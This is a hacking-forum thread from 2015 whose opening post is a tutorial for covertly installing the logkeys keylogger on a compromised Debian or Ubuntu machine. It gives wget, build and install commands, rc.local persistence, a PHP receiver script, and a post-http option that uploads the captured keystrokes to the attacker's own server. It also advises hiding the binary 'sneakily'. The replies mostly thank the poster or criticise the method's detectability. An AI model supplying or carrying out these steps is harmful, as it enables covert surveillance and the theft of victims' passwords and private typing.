![]() |
|
Tutorial Debian/Ubuntu Keylogger - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking) +--- Thread: Tutorial Debian/Ubuntu Keylogger (/Thread-Tutorial-Debian-Ubuntu-Keylogger) |
Debian/Ubuntu Keylogger - Cyph3rX - 05-21-2015 This is a simple way of logging keys on a compromised Ubuntu machine (If You Got R00t!) Download LKL on to the target machine: Code: Code: wget https://logkeys.googlecode.com/files/logkeys-0.1.1a.tar.gzUnpack the archive: Code: Code: tar -xvzf logkeys-0.1.1a.tar.gzCd into the newly created logkeys folder: Code: Code: cd logkeys-0.1.1aNow let's compile it: Code: Code: ./configure; makeIf you have root or you have access to sudo install it: Code: Code: make installYou can add logkeys to startup by editing /etc/rc.local or /etc/rc.d/rc.local and adding: Code: Code: logkeys --start --keymap=/home/I/custom_key.map --output=/home/I/custom.log --device=event4You can even have it upload the logs via http, first upload the following to your host: PHP Code: PHP Code: <?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK)
move_uploaded_file($file['tmp_name'], 'new.log');
}
?>Now add the following to your startup code: Code: Code: --post-http=http://your.doma.in/upload.php --post-size=100kbIf you get build errors ensure build-essential (Ubuntu) or apt-get install g++ (Debian), don't forget to make your logkeys executable if you plant it sneakily in your own special place. References: Documentation Credits go to the original developer: kernc...@Gmail.com RE: Debian/Ubuntu Keylogger - Brutus - 06-24-2015 Thank u bro <3 It's Just Amazing *-* RE: Debian/Ubuntu Keylogger - Crypt - 06-24-2015 This isn't useful at all unless the box you're putting this on has an actual hardware keyboard connected to it. You can't log strokes over an SSH daemon with this (which is what the majority of linux computers use today, considering they're servers). More than that, I hope anyone smart enough to operate a linux distro is smart enough to not get this installed on their machine. Also, what's with the title? This works on more than Ubuntu and Debian. RE: Debian/Ubuntu Keylogger - Reiko - 06-24-2015 ps aux|grep logkeys # oh god RE: Debian/Ubuntu Keylogger - Penis - 06-27-2015 (06-24-2015, 09:50 PM)Reiko Wrote: ps aux|grep logkeys # oh godAlso that PHP though. |